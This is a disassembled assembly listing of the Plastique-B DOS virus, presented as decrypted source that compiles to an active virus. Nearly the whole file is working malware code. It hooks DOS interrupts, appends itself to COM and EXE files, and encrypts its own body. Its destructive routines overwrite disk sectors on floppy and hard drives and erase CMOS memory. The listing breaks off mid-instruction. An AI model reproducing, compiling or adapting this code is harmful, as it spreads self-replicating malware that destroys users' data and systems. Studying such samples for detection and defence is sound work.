PAGE 59,132 ;========================================================================== ; Plastique-B virus Decrypted source code ; Brought to you by Minuite man ; ; DANGER! Not for public distribution ; This source code can be compiled to ; Active virus.Always handle viruses ; Carefully. ;========================================================================== data_1e equ 3FCh ; (0000:03FC=0F000h) data_2e equ 3FEh ; (0000:03FE=16h) data_3e equ 3 ; (3E00:0003=0FFFFh) data_4e equ 5 ; (3E00:0005=0FFh) data_5e equ 18h ; (3E00:0018=0FFFFh) data_6e equ 1Ah ; (3E00:001A=0FFFFh) data_7e equ 1Ch ; (3E00:001C=0FFFFh) data_8e equ 1Eh ; (3E00:001E=0FFFFh) data_9e equ 20h ; (3E00:0020=0FFFFh) data_10e equ 22h ; (3E00:0022=0FFFFh) data_11e equ 48h ; (3E00:0048=0FFFFh) data_12e equ 4Ah ; (3E00:004A=0FFFFh) data_13e equ 4Eh ; (3E00:004E=0FFFFh) data_14e equ 54h ; (3E00:0054=0FFFFh) data_15e equ 56h ; (3E00:0056=0FFFFh) data_16e equ 58h ; (3E00:0058=0FFFFh) data_17e equ 5Ah ; (3E00:005A=0FFFFh) data_18e equ 5Ch ; (3E00:005C=0FFFFh) data_19e equ 6Ah ; (3E00:006A=0FFh) data_20e equ 86h ; (3E00:0086=0FFFFh) data_21e equ 88h ; (3E00:0088=0FFFFh) data_22e equ 2A6h ; (3E00:02A6=0FFh) data_23e equ 3 ; (6C23:0003=0) data_24e equ 5 ; (6C23:0005=0) data_25e equ 6 ; (6C23:0006=0) data_27e equ 0Ah ; (6C23:000A=0) data_29e equ 14h ; (6C23:0014=0) data_30e equ 16h ; (6C23:0016=0) data_31e equ 24h ; (6C23:0024=0) data_32e equ 26h ; (6C23:0026=0) data_33e equ 28h ; (6C23:0028=0) data_34e equ 2Ah ; (6C23:002A=0) data_35e equ 2Ch ; (6C23:002C=0) data_36e equ 2Eh ; (6C23:002E=0) data_37e equ 30h ; (6C23:0030=0) data_38e equ 32h ; (6C23:0032=0) data_39e equ 34h ; (6C23:0034=0) data_41e equ 38h ; (6C23:0038=0) data_42e equ 3Ch ; (6C23:003C=0) data_43e equ 3Eh ; (6C23:003E=0) data_44e equ 42h ; (6C23:0042=0) data_45e equ 44h ; (6C23:0044=0) data_46e equ 45h ; (6C23:0045=0) data_47e equ 62h ; (6C23:0062=0) data_48e equ 64h ; (6C23:0064=0) data_49e equ 66h ; (6C23:0066=0) data_50e equ 68h ; (6C23:0068=0) data_51e equ 69h ; (6C23:0069=0) data_52e equ 6Ah ; (6C23:006A=0) data_68e equ 160Ah ; (6C23:160A=0) data_69e equ 690Ah ; (6C23:690A=0) data_70e equ 0FA0Ah ; (6C23:FA0A=0) seg_a segment assume cs:seg_a, ds:seg_a org 100h test proc far start: jmp loc_61 ; (09D3) db 0CCh, 1, 0C7h, 24h, 1, 9 db 0Dh, 92h, 25h, 70h, 0, 0 db 0, 0, 0, 89h, 19h, 0 db 1, 53h, 13h, 0, 0, 7Eh db 82h, 0, 0, 7Eh, 82h db 50h data_53 db 2 data_54 dw 0 data_55 dw 4269h ; Data table (indexed access) db 1Fh, 8Bh, 5, 0, 20h, 0 db 21h, 0, 80h, 0, 0E6h, 77h db 18h, 0, 0AAh, 0, 9, 0Dh db 60h, 14h, 1Eh, 2, 56h, 5 db 6, 6Fh, 73h, 12h, 0, 0F0h db 16h, 0, 4Dh, 5Ah, 14h, 0 db 8, 0, 0, 0, 20h, 0 db 0, 0, 0FFh, 0FFh, 5, 0 db 0C4h, 0Bh, 89h, 19h, 0, 9 db 5, 0, 1Eh, 0, 90h, 90h db 1, 0, 70h, 45h, 75h, 42h db 0, 0, 0 db 'ACAD.EXECOMMAND.COM.COM.EXE' db 10h, 0, 0, 2, 0, 0 db 80h, 0, 0B4h, 0D5h, 5Ch, 0 db 0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h db 'Program: Plastique' loc_2: and [si],dh db '.51 (plastic bomb), ' copyright db 'Copyright (C) 1988, 1989 by ABT ' db 'Group.Thanks to: M' db 'r. Lin (IECS 762??), Mr. Cheng (' db 'FCU Inf-Center)' db 1, 0, 0 data_58 db 0E3h ; Data table (indexed access) db 8, 0, 0, 0EBh, 7, 91h db 0Ah, 91h, 0Ah, 0BEh, 11h, 0 db 0, 0D0h, 0Fh, 21h, 15h, 21h db 15h, 0DCh, 0Bh, 0, 0, 91h db 0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h db 17h, 0, 0, 21h, 15h, 2Ch db 1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h db 0Eh, 33h, 0Bh, 33h, 0Bh, 91h db 0Ah, 0FAh, 9, 0FAh, 9, 91h db 0Ah, 33h, 0Bh, 33h, 0Bh, 91h db 0Ah, 16h, 0Eh, 16h, 0Eh, 0 db 0, 16h, 0Eh, 0D0h, 0Fh, 0BEh db 11h, 0, 0, 0E3h, 8, 0 db 0, 0EBh, 7, 91h, 0Ah, 91h db 0Ah, 0BEh, 11h, 0, 0, 0D0h db 0Fh, 21h, 15h, 21h, 15h, 0DCh db 0Bh, 0, 0, 91h, 0Ah, 16h db 0Eh, 16h, 0Eh, 0B7h, 17h, 0 db 0, 21h, 15h, 2Ch, 1Ch, 2Ch db 1Ch, 91h, 0Ah, 16h, 0Eh, 33h db 0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh db 9 data_59 dw 9FAh data_60 db 91h data_61 db 0Ah data_62 dw 0B33h data_63 db 33h test endp ;========================================================================== ; ; External Entry Point ; ;========================================================================== int_24h_entry proc far or dx,ds:data_68e[bx+di] ; (6C23:160A=0) push cs push ss push cs add [bx+si],al push ss push cs ror byte ptr [bx],1 ; Rotate mov si,11h add ds:data_69e[bx+di],dl ; (6C23:690A=0) or bx,sp or bl,ch pop es jmp short $+9 db 91h, 0Ah, 0, 0, 0FAh, 9 db 0FAh, 9, 64h, 8, 64h, 8 int_24h_entry endp ;========================================================================== ; ; External Entry Point ; ;========================================================================== int_08h_entry proc far push cs pop es add [bx+si],al xchg ax,cx or dl,ds:data_70e[bx+di] ; (6C23:FA0A=0) or dx,di or [bp+si+0Dh],dx add [bx+si],al xor cx,[bp+di] add [bx+si],al push ss push cs add [bx+si],al ;* jmp short loc_4 ;*(02F3) db 0EBh, 7 db 0EBh, 7, 91h, 0Ah, 0, 0 db 33h loc_4: or si,[bp+di] or bp,[bx+di+9] db 69h, 9, 0EBh, 7, 0EBh, 7 db 0, 0, 0E3h, 8, 0, 0 db 0EBh, 7, 91h, 0Ah, 91h, 0Ah db 0BEh, 11h, 0, 0, 0D0h, 0Fh db 21h, 15h, 21h, 15h, 0DCh, 0Bh db 0, 0, 0F2h, 0Eh, 0D0h, 0Fh db 0, 0, 0BEh, 11h, 21h, 15h db 0, 0, 3, 2, 3, 3 db 0Dh, 3, 2, 3, 3, 0Dh db 3, 2, 3, 3, 0Dh, 3 db 2, 3, 3, 0Dh, 7, 3 db 3, 7, 3, 3, 7, 3 db 3, 7, 3, 14h, 2, 1 db 1, 1, 3, 8, 3, 2 db 3, 3, 0Dh, 3, 2, 3 db 3, 0Dh, 3, 2, 3, 3 db 0Dh, 3, 2, 3, 3 int_08h_entry endp ;========================================================================== ; ; External Entry Point ; ;========================================================================== int_09h_entry proc far or ax,307h add ax,[bx] add ax,[bp+di] pop es add ax,[bp+di] pop es add dx,[si] add al,[bx+di] add [bx+di],ax add ax,[bp+di] add [bx+di],ax add [di],cx pop es push es add [di],cx or ax,70Dh push es add [di],cx or ax,70Dh push es add [si],cx add cl,[si] add cl,[di] pop es push es add [di],cx or ax,0D0Dh or ax,0D0Dh add ax,[bp+di] add ax,[bp+di] or ax,303h add ax,[bp+di] or ax,106h add ax,[bp+di] add ax,[bp+di] add ax,[bx+di] db 7 dup (0) db 32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh db 0A1h, 64h, 0, 2Eh, 39h, 6 db 3, 0, 58h, 77h, 5, 2Eh db 0FFh, 6, 3, 0, 51h, 2Eh db 8Bh, 0Eh, 3, 0 locloop_5: nop loop locloop_5 ; Loop if cx > 0 int 3 ; Debug breakpoint pop cx popf ; Pop flags jmp dword ptr cs:data_39e ; (6C23:0034=0) db 9Ch, 0CCh, 2Eh, 0FFh, 6, 3 db 0, 2Eh, 81h, 3Eh, 3, 0 db 88h, 13h, 77h, 6, 9Dh, 2Eh db 0FFh, 2Eh, 34h, 0, 1Eh, 50h db 53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h db 1, 0FEh, 0Eh, 21h, 1, 75h db 5Dh, 8Bh, 1Eh, 22h, 1, 0FFh db 6, 22h, 1, 81h, 0FBh, 80h db 0, 75h, 3, 0EBh, 36h, 90h loc_6: mov al,data_58[bx] ; (6C23:0224=0E3h) mov data_53,al ; (6C23:0121=2) shl bx,1 ; Shift w/zeros fill mov ax,data_55[bx] ; (6C23:0124=4269h) cmp ax,0 je loc_7 ; Jump if equal jmp short loc_8 ; (0426) db 90h loc_7: in al,61h ; port 61h, 8255 port B, read and al,0FEh out 61h,al ; port 61h, 8255 B - spkr, etc jmp short loc_10 ; (0454) db 90h loc_8: mov bx,ax mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode mov ax,bx out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr in al,61h ; port 61h, 8255 port B, read or al,3 out 61h,al ; port 61h, 8255 B - spkr, etc jmp short loc_10 ; (0454) db 90h loc_9: in al,61h ; port 61h, 8255 port B, read and al,0FEh out 61h,al ; port 61h, 8255 B - spkr, etc mov data_54,0 ; (6C23:0122=0) mov data_53,1 ; (6C23:0121=2) mov word ptr ds:data_23e,1 ; (6C23:0003=0) loc_10: pop bx pop ax pop ds popf ; Pop flags jmp dword ptr cs:data_39e ; (6C23:0034=0) db 0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh db 0D8h, 0A0h, 17h, 4, 1Fh, 24h db 0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h db '`$' db 7Fh, '<Su&.' db 81h, 3Eh, 3, 0, 88h, 13h db 72h, 1Dh, 2Eh, 80h, 3Eh, 69h db 0, 1, 74h, 3, 0E9h, 93h db 0, 0E4h, 61h, 0Ch, 80h, 0E6h db 61h, 24h, 7Fh, 0E6h, 61h, 58h db 0B0h, 20h, 0E6h, 20h, 0EBh, 1Fh db 90h, 58h, 9Ch, 2Eh, 0FFh, 1Eh db 6, 0, 0FAh, 2Eh, 0FFh, 6 db 0Eh, 0, 2Eh, 81h, 3Eh, 0Eh db 0, 0A0h, 0Fh, 72h, 6, 2Eh db 0C6h, 6, 6Ah, 0, 1 loc_11: sti ; Enable interrupts iret ; Interrupt return int_09h_entry endp loc_12: mov al,2 out 21h,al ; port 21h, 8259-1 int comands sti ; Enable interrupts in al,61h ; port 61h, 8255 port B, read and al,0FEh out 61h,al ; port 61h, 8255 B - spkr, etc mov cs:data_54,0 ; (6C23:0122=0) mov cs:data_53,1 ; (6C23:0121=2) mov word ptr cs:data_23e,1 ; (6C23:0003=0) mov ax,4 int 10h ; Video display ah=functn 00h ; set display mode in al mov ax,402h push ax loc_13: mov byte ptr ds:data_52e,0 ; (6C23:006A=0) push cs pop ax mov ds,ax mov es,ax mov dl,0 ;========================================================================== ; ; External Entry Point ; ;========================================================================== int_13h_entry proc far call sub_1 ; (052D) jc loc_14 ; Jump if carry Set call sub_2 ; (059E) loc_14: mov dl,1 call sub_1 ; (052D) jc loc_ret_15 ; Jump if carry Set call sub_2 ; (059E) loc_ret_15: retn int_13h_entry endp db 0B2h, 80h, 2Eh, 0C7h, 6, 3 db 0, 0D4h, 12h, 0E8h, 63h, 0 db 72h, 3, 0E8h data_65 dw 0A7h ; Data table (indexed access) db 0B2h, 81h, 0E8h, 59h, 0, 72h db 3, 0E8h, 9Dh, 0, 0B9h, 40h db 0 locloop_16: mov al,cl out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 0, seconds register mov al,0FFh out 71h,al ; port 71h, RTC clock/RAM data loop locloop_16 ; Loop if cx > 0 loc_17: nop jmp short loc_17 ; (052A) ;========================================================================== ; SUBROUTINE ;========================================================================== sub_1 proc near mov data_61,dl ; (6C23:02A7=0Ah) mov ax,201h mov cx,1 mov dh,0 mov bx,511h int 13h ; Disk dl=drive #: ah=func a2h ; read sectors to memory es:bx jc loc_ret_18 ; Jump if carry Set mov si,18h mov cx,data_65[si] ; (6C23:0511=0A7h) mov data_60,cl ; (6C23:02A6=91h) mov si,13h mov ax,data_65[si] ; (6C23:0511=0A7h) xor dx,dx ; Zero register div cx ; ax,dx rem=dx:ax/reg mov si,1Ah mov cx,data_65[si] ; (6C23:0511=0A7h) xor dx,dx ; Zero register div cx ; ax,dx rem=dx:ax/reg mov data_59,ax ; (6C23:02A4=9FAh) mov dl,data_61 ; (6C23:02A7=0Ah) mov dh,0 mov cx,1 cmp cx,0 loc_ret_18: retn sub_1 endp db 0B4h, 8, 88h, 16h, 0A7h, 2 db 0CDh, 13h, 72h, 22h, 88h, 36h db 0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h db 80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h db 2, 0B1h, 6, 0D2h, 0ECh, 0A3h db 0A4h, 2, 8Ah, 16h, 0A7h, 2 db 0B6h, 0, 0B9h, 1, 0, 83h db 0F9h, 0 loc_ret_19: retn ;========================================================================== ; SUBROUTINE ;========================================================================== sub_2 proc near mov bx,98h loc_20: mov al,data_60 ; (6C23:02A6=91h) mov ah,3 int 13h ; Disk dl=drive #: ah=func a3h ; write sectors from mem es:bx jnc loc_21 ; Jump if carry=0 and ah,0C3h jnz loc_ret_22 ; Jump if not zero loc_21: inc ch cmp ch,byte ptr data_59 ; (6C23:02A4=0FAh) je loc_ret_22 ; Jump if equal jmp short loc_20 ; (05A1) loc_ret_22: retn sub_2 endp ;========================================================================== ; SUBROUTINE ;========================================================================== sub_3 proc near mov bx,98h mov data_62,0 ; (6C23:02A8=0B33h) loc_23: mov al,data_60 ; (6C23:02A6=91h) mov ah,3 int 13h ; Disk dl=drive #: ah=func a3h ; write sectors from mem es:bx inc dh cmp dh,data_63 ; (6C23:02AA=33h) ja loc_24 ; Jump if above jmp short loc_23 ; (05C3) loc_24: inc data_62 ; (6C23:02A8=0B33h) mov dh,0 mov ax,data_62 ; (6C23:02A8=0B33h) cmp ax,data_59 ; (6C23:02A4=9FAh) ja loc_ret_25 ; Jump if above or al,1 add ch,al jnc loc_23 ; Jump if carry=0 add cl,40h ; '@' jmp short loc_23 ; (05C3) loc_ret_25: retn sub_3 endp db 52h, 80h, 0FCh, 3, 75h, 12h db 2Eh, 0C7h, 6, 0Eh, 0, 0 db 0, 2Eh, 80h, 3Eh, 6Ah, 0 db 1, 75h, 3, 0BAh, 0FFh, 0FFh db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 db 5Ah, 0CAh, 2, 0, 9Ch, 3Dh db 40h, 4Bh, 75h, 5, 0B8h, 78h db 56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh db 74h, 1Eh, 3Dh, 0, 4Bh, 75h db 3, 0EBh, 34h, 90h loc_26: cmp ax,3D00h jne loc_27 ; Jump if not equal cmp byte ptr cs:data_50e,1 ; (6C23:0068=0) je loc_27 ; Jump if equal jmp short loc_29 ; (065C) db 90h loc_27: popf ; Pop flags jmp dword ptr cs:data_41e ; (6C23:0038=0) loc_28: pop ax pop ax mov ax,100h mov cs:data_29e,ax ; (6C23:0014=0) pop ax mov cs:data_30e,ax ; (6C23:0016=0) rep movsb ; Rep when cx >0 Mov [si] to es:[di] popf ; Pop flags call sub_5 ; (09C8) mov cx,ds:data_38e ; (6C23:0032=0) jmp dword ptr cs:data_29e ; (6C23:0014=0) loc_29: mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) mov word ptr cs:data_47e,0 ; (6C23:0062=0) mov cs:data_31e,dx ; (6C23:0024=0) mov cs:data_32e,ds ; (6C23:0026=0) push ax push bx push cx push dx push si push di push ds push es cld ; Clear direction mov si,dx loc_30: mov al,[si] or al,al ; Zero ? jz loc_32 ; Jump if zero cmp al,61h ; 'a' jb loc_31 ; Jump if below cmp al,7Ah ; 'z' ja loc_31 ; Jump if above sub byte ptr [si],20h ; ' ' loc_31: inc si jmp short loc_30 ; (067F) loc_32: mov cs:data_49e,si ; (6C23:0066=0) mov ax,si push cs pop es mov cx,0Bh sub si,cx mov di,73h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz loc_33 ; Jump if not zero jmp loc_59 ; (0997) loc_33: mov si,ax mov cx,8 sub si,cx mov di,6Bh repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz loc_34 ; Jump if not zero mov ax,41Dh push ax jmp loc_13 ; (04E2) loc_34: mov ax,4300h int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx jc loc_35 ; Jump if carry Set mov cs:data_34e,cx ; (6C23:002A=0) loc_35: jc loc_41 ; Jump if carry Set xor al,al ; Zero register mov cs:data_46e,al ; (6C23:0045=0) mov si,cs:data_49e ; (6C23:0066=0) mov cx,4 sub si,cx mov di,7Eh repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jz loc_36 ; Jump if zero inc byte ptr cs:data_46e ; (6C23:0045=0) mov si,cs:data_49e ; (6C23:0066=0) mov cx,4 sub si,cx mov di,82h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jz loc_36 ; Jump if zero add cx,0FFFFh jmp short loc_41 ; (073F) db 90h loc_36: mov di,dx xor dl,dl ; Zero register cmp byte ptr [di+1],3Ah ; ':' jne loc_37 ; Jump if not equal mov dl,[di] and dl,1Fh loc_37: mov ah,36h ; '6' int 21h ; DOS Services ah=function 36h ; get free space, drive dl,1=a: cmp ax,0FFFFh jne loc_39 ; Jump if not equal loc_38: jmp loc_59 ; (0997) loc_39: mul bx ; dx:ax = reg * ax mul cx ; dx:ax = reg * ax or dx,dx ; Zero ? jnz loc_40 ; Jump if not zero cmp ax,0BC4h jb loc_38 ; Jump if below loc_40: mov dx,cs:data_31e ; (6C23:0024=0) mov ax,3D00h mov byte ptr cs:data_50e,1 ; (6C23:0068=0) int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov byte ptr cs:data_50e,0 ; (6C23:0068=0) loc_41: jc loc_43 ; Jump if carry Set mov cs:data_33e,ax ; (6C23:0028=0) mov bx,ax mov ax,4202h mov cx,0FFFFh mov dx,0FFFBh int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset jc loc_43 ; Jump if carry Set add ax,5 mov cs:data_38e,ax ; (6C23:0032=0) mov ax,4200h mov cx,0 mov dx,12h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset jc loc_43 ; Jump if carry Set mov cx,2 mov dx,60h mov di,dx mov ax,cs mov ds,ax mov es,ax mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ax,[di] cmp ax,1989h jne loc_42 ; Jump if not equal mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jmp loc_59 ; (0997) loc_42: mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_42e,bx ; (6C23:003C=0) mov ds:data_43e,es ; (6C23:003E=0) mov dx,2ABh mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx lds dx,dword ptr ds:data_31e ; (6C23:0024=0) Load 32 bit ptr xor cx,cx ; Zero register mov ax,4301h int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx loc_43: jc loc_44 ; Jump if carry Set mov bx,cs:data_33e ; (6C23:0028=0) mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jc loc_44 ; Jump if carry Set mov cs:data_33e,ax ; (6C23:0028=0) mov ax,cs mov ds,ax mov es,ax mov bx,ds:data_33e ; (6C23:0028=0) mov ax,5700h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ds:data_35e,dx ; (6C23:002C=0) mov ds:data_36e,cx ; (6C23:002E=0) mov ax,4200h xor cx,cx ; Zero register mov dx,cx int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset loc_44: jc loc_47 ; Jump if carry Set cmp byte ptr ds:data_46e,0 ; (6C23:0045=0) je loc_45 ; Jump if equal jmp short loc_49 ; (0867) db 90h loc_45: mov bx,1000h mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 jnc loc_46 ; Jump if carry=0 mov ah,3Eh ; '>' mov bx,ds:data_33e ; (6C23:0028=0) int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jmp loc_59 ; (0997) loc_46: inc word ptr ds:data_47e ; (6C23:0062=0) mov es,ax xor si,si ; Zero register mov di,si inc word ptr ds:data_23e ; (6C23:0003=0) mov ax,ds:data_23e ; (6C23:0003=0) or al,1 mov ds:data_24e,al ; (6C23:0005=0) call sub_4 ; (09A5) mov cx,0BC4h rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_4 ; (09A5) mov dx,di mov cx,ds:data_38e ; (6C23:0032=0) mov bx,ds:data_33e ; (6C23:0028=0) push es pop ds mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx loc_47: jc loc_48 ; Jump if carry Set add di,cx jc loc_48 ; Jump if carry Set xor cx,cx ; Zero register mov dx,cx mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov cx,di xor dx,dx ; Zero register mov ah,ds:data_19e ; (3E00:006A=0FFh) mov ds:data_22e,ah ; (3E00:02A6=0FFh) mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,ds:data_22e ; (3E00:02A6=0FFh) mov ds:data_19e,ah ; (3E00:006A=0FFh) loc_48: jc loc_50 ; Jump if carry Set jmp loc_57 ; (0952) loc_49: mov cx,1Ch mov dx,46h mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx loc_50: jc loc_52 ; Jump if carry Set cmp word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) je loc_52 ; Jump if equal mov word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) mov ax,ds:data_14e ; (3E00:0054=0FFFFh) mov ds:data_6e,ax ; (3E00:001A=0FFFFh) mov ax,ds:data_15e ; (3E00:0056=0FFFFh) mov ds:data_5e,ax ; (3E00:0018=0FFFFh) mov ax,ds:data_17e ; (3E00:005A=0FFFFh) mov ds:data_7e,ax ; (3E00:001C=0FFFFh) mov ax,ds:data_18e ; (3E00:005C=0FFFFh) mov ds:data_8e,ax ; (3E00:001E=0FFFFh) mov ax,ds:data_12e ; (3E00:004A=0FFFFh) cmp word ptr ds:data_11e,0 ; (3E00:0048=0FFFFh) je loc_51 ; Jump if equal dec ax loc_51: mul word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax = data * ax add ax,ds:data_11e ; (3E00:0048=0FFFFh) adc dx,0 add ax,0Fh adc dx,0 and ax,0FFF0h mov ds:data_9e,ax ; (3E00:0020=0FFFFh) mov ds:data_10e,dx ; (3E00:0022=0FFFFh) add ax,0BC4h adc dx,0 loc_52: jc loc_54 ; Jump if carry Set div word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da or dx,dx ; Zero ? jz loc_53 ; Jump if zero inc ax loc_53: mov ds:data_12e,ax ; (3E00:004A=0FFFFh) mov ds:data_11e,dx ; (3E00:0048=0FFFFh) mov ax,ds:data_9e ; (3E00:0020=0FFFFh) mov dx,ds:data_10e ; (3E00:0022=0FFFFh) div word ptr ds:data_20e ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da sub ax,ds:data_13e ; (3E00:004E=0FFFFh) mov ds:data_18e,ax ; (3E00:005C=0FFFFh) mov word ptr ds:data_17e,900h ; (3E00:005A=0FFFFh) mov ds:data_14e,ax ; (3E00:0054=0FFFFh) mov word ptr ds:data_15e,0BC4h ; (3E00:0056=0FFFFh) xor cx,cx ; Zero register mov dx,cx mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset loc_54: jc loc_55 ; Jump if carry Set mov cx,1Ch mov dx,46h mov ah,ds:data_19e ; (3E00:006A=0FFh) mov ds:data_22e,ah ; (3E00:02A6=0FFh) mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,ds:data_22e ; (3E00:02A6=0FFh) mov ds:data_19e,ah ; (3E00:006A=0FFh) loc_55: jc loc_56 ; Jump if carry Set cmp ax,cx jne loc_57 ; Jump if not equal mov dx,ds:data_9e ; (3E00:0020=0FFFFh) mov cx,ds:data_10e ; (3E00:0022=0FFFFh) mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset loc_56: jc loc_57 ; Jump if carry Set inc word ptr ds:data_3e ; (3E00:0003=0FFFFh) mov ax,ds:data_3e ; (3E00:0003=0FFFFh) or al,1 mov ds:data_4e,al ; (3E00:0005=0FFh) call sub_4 ; (09A5) xor dx,dx ; Zero register mov cx,0BC4h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx call sub_4 ; (09A5) loc_57: cmp word ptr cs:data_47e,0 ; (6C23:0062=0) je loc_58 ; Jump if equal mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg loc_58: cmp word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) je loc_59 ; Jump if equal mov bx,cs:data_33e ; (6C23:0028=0) mov dx,cs:data_35e ; (6C23:002C=0) mov cx,cs:data_36e ; (6C23:002E=0) mov ax,5701h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle lds dx,dword ptr cs:data_31e ; (6C23:0024=0) Load 32 bit ptr mov cx,cs:data_34e ; (6C23:002A=0) mov ax,4301h int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx lds dx,dword ptr cs:data_42e ; (6C23:003C=0) Load 32 bit ptr mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx loc_59: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf ; Pop flags jmp dword ptr cs:data_41e ; (6C23:0038=0) ;========================================================================== ; SUBROUTINE ;========================================================================== sub_4 proc near push ds push es push di push si push cx push ax push cs pop es push cs pop ds mov si,6Bh mov di,si mov cx,0B6h mov ah,ds:data_24e ; (6C23:0005=0) locloop_60: lodsb ; String [si] to al xor al,ah stosb ; Store al to es:[di] loop locloop_60 ; Loop if cx > 0 pop ax pop cx pop si pop di pop es pop ds retn sub_4 endp ;========================================================================== ; SUBROUTINE ;========================================================================== sub_5 proc near xor ax,ax ; Zero register mov bx,ax mov dx,ax mov si,ax mov di,ax retn sub_5 endp loc_61: cld ; Clear direction mov ax,4B40h int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx cmp ax,5678h jne loc_62 ; Jump if not equal mov ax,4B41h mov di,100h mov si,0BC4h add si,di mov cx,cs:[di+32h] nop ;*Fixup for MASM (M) int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx loc_62: mov ax,cs add ax,10h mov ss,ax mov sp,0BB4h push ax mov ax,900h push ax retf ; Return far db 0FCh, 6, 2Eh, 8Ch, 6, 40h db 0, 2Eh, 8Ch, 6, 8Eh, 0 db 2Eh, 8Ch, 6, 92h, 0, 2Eh db 8Ch, 6, 96h, 0, 8Ch, 0C0h db 5, 10h, 0, 2Eh, 1, 6 db 1Eh, 0, 2Eh, 1, 6, 1Ah db 0, 0B8h, 40h, 4Bh, 0CDh, 21h db 3Dh, 78h, 56h, 75h, 13h, 7 db 2Eh, 8Eh, 16h, 1Ah, 0, 2Eh db 8Bh, 26h, 18h, 0, 0E8h, 8Bh db 0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0 db 0E8h, 60h, 0FFh, 0B4h, 0, 0CDh db 1Ah, 8Bh, 0DAh loc_63: int 1Ah ; Real time clock ah=func 00h ; get system timer count cx,dx cmp bx,dx je loc_63 ; Jump if equal xor si,si ; Zero register mov bx,dx loc_64: int 1Ah ; Real time clock ah=func 00h ; get system timer count cx,dx inc si cmp bx,dx je loc_64 ; Jump if equal mov word ptr cs:data_48e,0A000h ; (6C23:0064=0) mov bx,si sub bx,50h cmp bx,0A00h jae loc_65 ; Jump if above or = mov cl,4 shl bx,cl ; Shift w/zeros fill mov cs:data_48e,bx ; (6C23:0064=0) loc_65: xor ax,ax ; Zero register mov es,ax mov ax,es:data_1e ; (0000:03FC=0F000h) mov cs:data_44e,ax ; (6C23:0042=0) mov al,es:data_2e ; (0000:03FE=16h) mov cs:data_45e,al ; (6C23:0044=0) mov word ptr es:data_1e,0A5F3h ; (0000:03FC=0F000h) mov byte ptr es:data_2e,0CBh ; (0000:03FE=16h) pop ax add ax,10h mov es,ax push cs pop ds mov cx,0BC4h shr cx,1 ; Shift w/zeros fill xor si,si ; Zero register mov di,si push es mov ax,9B3h push ax ;* jmp far ptr loc_1 ;*(0000:03FC) db 0EAh, 0FCh, 3, 0, 0 db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h db 0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh db 0A1h, 